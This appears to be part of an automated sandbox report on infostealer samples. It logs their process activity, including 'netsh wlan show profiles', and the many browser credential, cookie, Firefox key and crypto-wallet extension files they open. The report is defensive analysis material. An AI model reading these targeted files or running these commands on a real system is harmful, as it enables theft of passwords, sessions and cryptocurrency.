Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: RegAsm.exe, 0000001D.00000002.2196300199.00000000008F7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 5AWallets/ExodusAC:\Users\user\AppData\Roaming\Exodus\exodus.wallet4Y)A%appdata%\Exodus\exodus.walletAkeystore
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
